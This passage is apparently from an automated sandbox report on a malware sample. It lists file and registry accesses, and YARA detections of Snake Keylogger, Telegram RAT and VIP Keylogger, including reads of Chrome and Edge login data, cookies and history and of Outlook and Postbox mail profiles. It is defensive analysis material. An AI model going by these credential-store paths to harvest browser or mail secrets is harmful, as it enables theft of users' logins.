          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Users\user\AppData\Roaming\EYDNKhhJr.exe VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Desktop\FT876567090.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected Snake Keylogger
          Source: Yara matchFile source: 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Yara detected Telegram RAT
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTR
          Yara detected VIP Keylogger
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTR
          Tries to harvest and steal browser information (history, passwords, etc)
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
          Tries to steal Mail credentials (via file / registry access)
          Source: C:\Users\user\Desktop\FT876567090.exeFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\Jump to behavior
          Source: C:\Users\user\Desktop\FT876567090.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
          Source: C:\Users\user\AppData\Roaming\EYDNKhhJr.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3396800295.0000000004425000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Yara detected Snake Keylogger
          Source: Yara matchFile source: 0000000A.00000002.3392046185.0000000003021000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3390924672.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Yara detected Telegram RAT
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTR
          Yara detected VIP Keylogger
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.5560000.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20f20.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 10.2.FT876567090.exe.2f20000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2f9fd66.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 15.2.EYDNKhhJr.exe.2fa0c86.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000A.00000002.3390860083.0000000002F20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000F.00000002.3388385151.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000A.00000002.3400445756.0000000005560000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: FT876567090.exe PID: 8124, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: EYDNKhhJr.exe PID: 3704, type: MEMORYSTR

          Mitre Att&ck Matrix

